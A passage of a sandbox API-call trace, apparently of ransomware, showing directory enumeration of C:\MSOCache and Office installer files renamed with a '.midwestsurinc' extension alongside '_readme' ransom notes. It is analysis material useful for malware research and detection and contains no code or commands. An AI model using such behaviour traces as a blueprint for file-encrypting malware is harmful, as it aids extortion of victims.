ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.684] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4dcdaa90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x4dcdaa90, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.684] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51647d50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x51647d50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x52633070, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x52633070, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x53b070f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x53b070f0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x56605e50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x56605e50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x56e80cb0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x56e80cb0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7c4a70, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5b7c4a70, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0227.685] GetLastError () returned 0x12 [0227.685] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0227.685] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.685] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4dcdaa90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x4dcdaa90, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.685] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.685] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4dcdaa90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x4dcdaa90, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.686] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0227.686] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0227.687] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.687] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0227.687] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.687] NtClose (Handle=0x1ac) returned 0x0 [0227.687] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.687] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.687] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.687] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3a58 [0227.687] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.687] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4470 [0227.687] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0227.689] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4dcdaa90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x4dcdaa90, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.689] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0227.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.689] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d88a2b0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4d88a2b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.689] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0227.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.689] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dc68670, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dc68670, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dcb4930, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dcb4930, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dcdaa90, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dcdaa90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dcdaa90, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dcdaa90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0227.690] GetLastError () returned 0x12 [0227.690] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0227.690] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4dcdaa90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x4dcdaa90, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d88a2b0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4d88a2b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dc68670, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dc68670, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xece1ee80, 